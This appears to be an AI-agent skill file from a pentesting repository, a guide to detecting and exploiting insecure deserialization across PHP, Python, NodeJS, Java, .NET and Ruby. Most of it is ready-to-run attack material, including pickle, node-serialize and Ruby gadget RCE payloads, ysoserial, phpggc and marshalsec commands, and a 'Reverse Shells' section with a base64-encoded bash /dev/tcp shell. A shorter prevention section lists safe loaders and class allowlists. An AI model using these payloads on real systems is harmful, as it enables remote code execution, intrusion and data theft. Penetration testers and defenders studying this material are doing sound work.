Hacktricks-skills deserialization-pentest
How to identify and exploit insecure deserialization vulnerabilities across PHP, Python, NodeJS, Java, .NET, and Ruby. Use this skill whenever the user mentions deserialization, serialization, object injection, gadget chains, ysoserial, pickle, unserialize, ObjectInputStream, BinaryFormatter, Marshal, or any related vulnerability testing. Make sure to use this skill for any web application security testing involving serialized data, ViewState parameters, cookies with serialized objects, or when analyzing code for deserialization sinks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/deserialization/SKILL.MDDeserialization Pentesting
A comprehensive guide for identifying and exploiting insecure deserialization vulnerabilities across multiple platforms.
Quick Reference
| Platform | Key Indicators | Primary Tool |
|---|---|---|
| PHP | , , | PHPGGC |
| Python | , | Custom payloads |
| NodeJS | , , | Manual crafting |
| Java | , , | ysoserial |
| .NET | , , | ysoserial.net |
| Ruby | , classes | Custom payloads |
Detection Methods
White Box Testing
Search for these patterns in source code:
PHP:
withoutunserialize()
parameterallowed_classes- Magic methods:
,__wakeup
,__destruct
,__unserialize__sleep
withfile_get_contents()
wrapperphar://
Python:
,pickle.loads()pickle.load()
withyaml.load()
orLoader=yaml.FullLoaderUnsafeLoaderjsonpickle.decode()
or__reduce__
methods__reduce_ex__
NodeJS:
node-serialize.unserialize()funcster.deepDeserialize()
withserialize-javascript
deserializationeval()
or__proto__
pollution patternsprototype
Java:
ObjectInputStream.readObject()
(versions ≤ 1.46)XStream.fromXML()
with user inputXMLDecoder- Classes implementing
Serializable
,readObject()
,readResolve()
methodsreadExternal()
.NET:
BinaryFormatter.Deserialize()SoapFormatter.Deserialize()
withJsonConvert.DeserializeObject()TypeNameHandling.Auto
withJavaScriptSerializerJavaScriptTypeResolver
parameters__ViewState
Ruby:
orMarshal.load()Marshal.restore()
,Oj.load()
,Psych.load()
with customJSON.parse()json_create
method with user-controlled input.send()
Black Box Testing
Java Signatures:
- Hex:
AC ED 00 05 - Base64:
rO0 - Compressed hex:
1F 8B 08 00 - Compressed Base64:
H4sIA - Content-Type:
application/x-java-serialized-object
files with.faces
parameterjavax.faces.ViewState
.NET Signatures:
- Base64:
AAEAAAD////// - JSON/XML with
or$type
fieldsTypeObject
General Indicators:
- Long Base64 strings in cookies, parameters, or headers
- ViewState parameters in ASP.NET applications
- Serialized objects in API responses
- Custom binary protocols
Exploitation by Platform
PHP Deserialization
Magic Methods to Abuse
| Method | When Called | Use Case |
|---|---|---|
| After deserialization | RCE via file operations, command execution |
| Object destruction | Cleanup-based exploitation |
| Instead of | Full control over deserialization |
| String conversion | File reads, information disclosure |
| Before serialization | Property manipulation |
PHPGGC Usage
# Generate payload for specific gadget chain phpggc <gadget> <parameter> > payload.txt # Example: PHPMailer RCE phpggc PHPMailer phpinfo > payload.txt # Example: Laravel RCE phpggc Laravel8 'system("id")' > payload.txt
Common Gadget Chains
- PHPMailer: Email-based RCE
- Laravel: Queue and closure exploitation
- Symfony: Expression language RCE
- Monolog: File write and RCE
- Doctrine: Query-based exploitation
Phar Deserialization
When LFI exists but doesn't execute PHP:
# Create malicious phar file php -r ' $phar = new Phar("evil.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->stopBuffering(); ' # Trigger via phar:// wrapper file_get_contents("phar://evil.phar");
Python Deserialization
Pickle Exploitation
import pickle import os class RCE: def __reduce__(self): return (os.system, ("your_command_here",)) # Generate payload payload = pickle.dumps(RCE()) print(payload) # Base64 encode for transmission import base64 print(base64.b64encode(payload).decode())
YAML Deserialization
import yaml # Vulnerable code pattern data = yaml.load(user_input, Loader=yaml.FullLoader) # Exploitation via __reduce__ payload = "!!python/object/apply:os.system ["command"]"
jsonpickle Exploitation
import jsonpickle # Vulnerable pattern data = jsonpickle.decode(user_input) # Exploitation payload = jsonpickle.encode( {"py/object": "os.system", "py/args": ["command"]} )
NodeJS Deserialization
node-serialize Exploitation
// Vulnerable pattern var serialize = require("node-serialize"); var data = serialize.unserialize(userInput); // Exploit payload var payload = { "rce": "_$$ND_FUNC$$_require('child_process').exec('command')()" };
funcster Exploitation
// Vulnerable pattern var funcster = require("funcster"); var data = funcster.deepDeserialize(userInput); // Exploit payload var payload = { "__js_function": "this.constructor.constructor('require(\"child_process\").exec(\"command\")')()" };
serialize-javascript Exploitation
// Vulnerable deserialization function deserialize(serialized) { return eval("(" + serialized + ")"); } // Exploit var payload = "function(){ require('child_process').exec('command'); }()";
React Server Components (CVE-2025-55182)
# Craft multipart payload for vulnerable RSC curl -X POST http://target/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"app/server-actions#export","bound":["arg1","arg2"]}'
Java Deserialization
ysoserial Usage
# Download ysoserial wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar # DNS callback (safe test) java -jar ysoserial.jar URLDNS http://your-collaborator.burpcollaborator.net > payload # RCE payloads java -jar ysoserial.jar CommonsCollections5 "command" > payload java -jar ysoserial.jar CommonsCollections4 "command" > payload java -jar ysoserial.jar Jdk7u21 "command" > payload # Base64 encode for HTTP injection base64 -w0 payload
Common Gadget Chains
| Gadget | Library | Risk Level |
|---|---|---|
| CommonsCollections1-7 | Apache Commons Collections | High |
| Jdk7u21 | JDK 7u21+ | Medium |
| URLDNS | None (DNS only) | Low (detection) |
| Spring1-2 | Spring Framework | High |
| Hibernate1-2 | Hibernate | High |
| Myfaces1-2 | Apache MyFaces | High |
marshalsec for JSON/XML
# Compile marshalsec mvn clean package -DskipTests # Generate JSON payload java -cp marshalsec.jar marshalsec.json.JsonGenerator <gadget> "command" # Generate YAML payload java -cp marshalsec.jar marshalsec.yaml.YamlGenerator <gadget> "command"
Detection Tools
- GadgetProbe: Identify available libraries via DNS callbacks
- Java Deserialization Scanner: Burp extension for automated testing
- Freddy: Detect JSON/YAML/ObjectInputStream vulnerabilities
- SerializationDumper: Human-readable serialization inspection
.NET Deserialization
ysoserial.net Usage
# Compile ysoserial.net # Then use: # Generate payload ysoserial.exe -g ObjectDataProvider -f Json.Net -c "command" -o base64 # Test payload locally ysoserial.exe -g ObjectDataProvider -f Json.Net -c "command" --test # List available gadgets for formatter ysoserial.exe --raf -f Json.Net -c "test" # Reverse shell example ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -Enc <base64>"
Common Formatters
| Formatter | Library | Exploitable |
|---|---|---|
| Json.Net | Newtonsoft.Json | Yes (with TypeNameHandling) |
| BinaryFormatter | System.Runtime.Serialization | Yes |
| SoapFormatter | System.Runtime.Serialization | Yes |
| DataContractSerializer | System.Runtime.Serialization | Limited |
ViewState Exploitation
# With known validation key ysoserial.exe -g ObjectDataProvider -f ViewState -c "command" -k <validation_key> # With known secret ysoserial.exe -g ObjectDataProvider -f ViewState -c "command" -s <secret>
Ruby Deserialization
Marshal Exploitation
# Basic RCE gadget require 'base64' class RCE def initialize(cmd) @cmd = cmd end def hash system(@cmd) end end payload = Marshal.dump(RCE.new("id")) puts Base64.encode64(payload)
Gem Gadget Chains
# Gem::StubSpecification chain class Gem::StubSpecification def initialize; end end stub = Gem::StubSpecification.new stub.instance_variable_set(:@loaded_from, "|command 1>&2") # Trigger via comparison other = Gem::Source::SpecificFile.new stub <=> other
Oj/Psych Exploitation
// Oj payload { "^o": "Gem::Resolver::SpecSpecification", "spec": { "^o": "Gem::Resolver::GitSpecification", "source": { "^o": "Gem::Source::Git", "git": "zip", "reference": "-TmTT=\"\$(id>/tmp/poc)\"", "root_dir": "/tmp" } } }
Prevention and Mitigation
PHP
// Disable all classes $object = unserialize($data, ['allowed_classes' => false]); // Whitelist specific classes $object = unserialize($data, ['allowed_classes' => ['SafeClass']]); // Avoid unserialize entirely - use JSON $data = json_decode($json_string);
Python
# Use safe_load for YAML import yaml data = yaml.safe_load(user_input) # Avoid pickle with untrusted data # Use JSON instead data = json.loads(user_input) # If pickle is required, use restricted unpickler class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): allowed = ['mymodule.MyClass'] if f"{module}.{name}" not in allowed: raise pickle.UnpicklingError(f"Forbidden: {module}.{name}") return super().find_class(module, name)
Java
// Use ObjectInputFilter (Java 9+) ObjectInputFilter filter = info -> { if (!allowedClasses.contains(info.serialClass().getName())) { return Status.REJECTED; } return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); // Override resolveClass public class SafeObjectInputStream extends ObjectInputStream { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException { if (!desc.getName().equals("com.example.SafeClass")) { throw new InvalidClassException("Unauthorized"); } return super.resolveClass(desc); } }
.NET
// Set TypeNameHandling to None var settings = new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.None }; var data = JsonConvert.DeserializeObject(json, settings); // Use SerializationBinder for BinaryFormatter public class SafeSerializationBinder : SerializationBinder { public override Type BindToType(string assemblyName, string typeName) { if (typeName != "MyApp.SafeClass") { throw new SecurityException("Unauthorized type"); } return Type.GetType(typeName); } }
Ruby
# Use JSON instead of Marshal data = JSON.parse(user_input) # If Marshal is required, use SafeMarshal require 'safe_marshal' data = SafeMarshal.load(user_input, allowed_classes: [SafeClass]) # Validate before deserialization if user_input.start_with?("\x04\x08") # Marshal magic # Validate structure before loading end
Testing Workflow
- Identify serialized data in requests/responses
- Determine the platform and serialization format
- Test with DNS callback payloads (URLDNS, etc.)
- Enumerate available libraries/gadgets
- Craft RCE payload based on available gadgets
- Verify exploitation with file creation or reverse shell
- Document findings and remediation steps
Common Payloads
DNS Callbacks (Safe Testing)
# Java java -jar ysoserial.jar URLDNS http://your-collaborator.net # .NET ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup your-collaborator.net" # NodeJS var payload = {"rce": "_\$\$ND_FUNC\$\$_require('child_process').exec('nslookup your-collaborator.net')()"}
Reverse Shells
# Java (Linux) java -jar ysoserial.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" # .NET (Windows) ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -Enc <base64_encoded_ps>" # PHP (via gadget) phpggc Laravel8 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'